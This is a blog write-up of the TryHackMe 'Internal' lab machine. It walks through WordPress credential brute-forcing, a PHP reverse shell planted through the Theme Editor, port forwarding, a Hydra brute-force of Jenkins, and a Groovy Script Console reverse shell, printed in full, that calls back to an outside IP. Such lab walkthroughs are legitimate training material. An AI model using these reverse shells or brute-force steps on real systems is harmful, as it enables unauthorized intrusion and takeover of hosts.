TryHackMe – Internal Walkthrough

June 1, 2021 | by Stefano Lanaro | Leave a comment

Introduction

This was an intermediate-level Linux machine that involved brute-forcing WordPress credentials to gain initial access through a malicious plugin upload and escalating privileges through a Jenkins instance with weak credentials.

Enumeration

The first thing to do is to run a TCP Nmap scan against the 1000 most common ports, and using the following flags:

-sC to run default scripts
-sV to enumerate applications versions

The scan has revealed two open ports: 22 (SSH) and 80 (HTTP), so the best thing to do now is to start enumerating HTTP.

HTTP Enumerating

Adding the host to the /etc/hosts entries to make enumeration more convenient:

The next step is to run a scan to find hidden files or directories using Gobuster, with the following flags:

dir to specify the scan should be done against directories and files
-u to specify the target URL
-w to specify the word list to use
-x to specify the extensions to enumerate
-t to specify the number of concurrent threads

The scan has found blog, wordPress and phpmyadmin entries, when accessing the /blog directory through a browser, the site looks like a default WordPress installation:

Running an initial WPScan to start enumerating the WordPress site, providing the -e option to enumerate all plugins, all themes, timthumbs, config backups, database exports, users and media:

The scan did not find anything useful, other than the default admin user.

Running WPScan again to attempt to brute-force the admin user’s password:

The attack was successful and a password for the wordPress admin user was found.

Logging into WordPress as the admin user:

WordPress admin access can be exploited to gain a shell by uploading malicious plugins. Copying the Laudanum PHP Reverse Shell to the current working directory and configuring the IP address and port:

Navigating to the “Add New” plugin page – selecting the PHP reverse shell and hitting “Install Now”:

It appears this failed as the permissions for the wp-content/uploads folder are not setup correctly:

Another way to obtain a reverse shell from WordPress is to modify one of the PHP pages through the Theme Editor toool. Navigating to Appearance–>Theme Editor:

Selecting the “404 Template” page:

Replacing the content of the page with the PHP reverse shell created earlier:

The next step is to set up a Netcat listener, which will catch the reverse shell when it is executed by the victim host, using the following flags:

-l to listen for incoming connections
-v for verbose output
-n to skip the DNS lookup
-p to specify the port to listen on

Accessing the 404.php page through a browser:

A callback was received, granting a shell as the www-data user on the box:

The following steps can be done to obtain an interactive shell:

Running “python -c ‘import pty; pty.spawn(“/bin/sh”)’” on the victim host
Hitting CTRL+Z to background the process and go back to the local host
Running “stty raw -echo” on the local host
Hitting “fg + ENTER” to go back to the reverse shell

Privilege Escalation

MySQL credentials can be found by inspecting the wp-config.php file – unfortunately these did not seem to server any purpose although it’s always best to check for these:

When enumerating for common files and directories, the /opt directory seemed to contain some credentials for the “aubreanna” user:

Logging in as the aubreanna user via SSH:

When enumerating the home directory, found information about Jenkins, which appears to be running on port 8080:

Since port 8080 can only by accessed locally, setting up port forwarding in order to redirect traffic to localhost on port 1234 to the target machine on port 8080:

Jenkins is now accessible from the Kali host:

Default credentials did not seem to work, capturing the login request in order to construct a Hydra command to try and brute-force credentials:

Using hydra to brute-force the password, using the following flags:

-f to stop the attack when a valid password is found
-l to specify the username for the brute-force attack
-P to specify the wordlist to use for the bruteforce attack
-s to specify the port to connect to
the service and target to brute force
http-post-form to specify the URL including all of the parameters used in the request, such as the username, password, and the failed authentication message

Hydra was able to brute-force the admin user’s password. Logging into Jenkins:

Jenkins comes with a “Script Console” administrative tool, which allows authenticated users to run scripts using Apache Groovy, a Java-syntax-compatible object-oriented programming language for the Java platform. This can be leveraged to execute Bash commands as well as reverse shells.

Clicking on “Manage Jenkins–>Script Console:

The next step is to set up a Netcat listener, which will catch the reverse shell when it is executed by the victim host, using the following flags:

-l to listen for incoming connections
-v for verbose output
-n to skip the DNS lookup
-p to specify the port to listen on

Used the reverse shell from this handy blog post, replacing IP address and port:

String host="10.9.228.20";int port=443;String cmd="cmd.exe";Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();

A callback was received, granting access as the jenkins user within a Docker container:

When enumerating common files and folders in the web server, the /opt directory appears to contain a note with the root password:

Authenticating as root through SSH with the credentials found:

This has finally granted root-level access on the target machine.

Conclusion

This was an awesome box as it perfectly mimicked a real-life engagement, where weak passwords used for default accounts are leveraged to gain a foothold, and clear-text passwords left on the machine are then used to elevate privileges further, all of this without exploiting any actual vulnerability, but only systems to gain remote code execution through default functionality.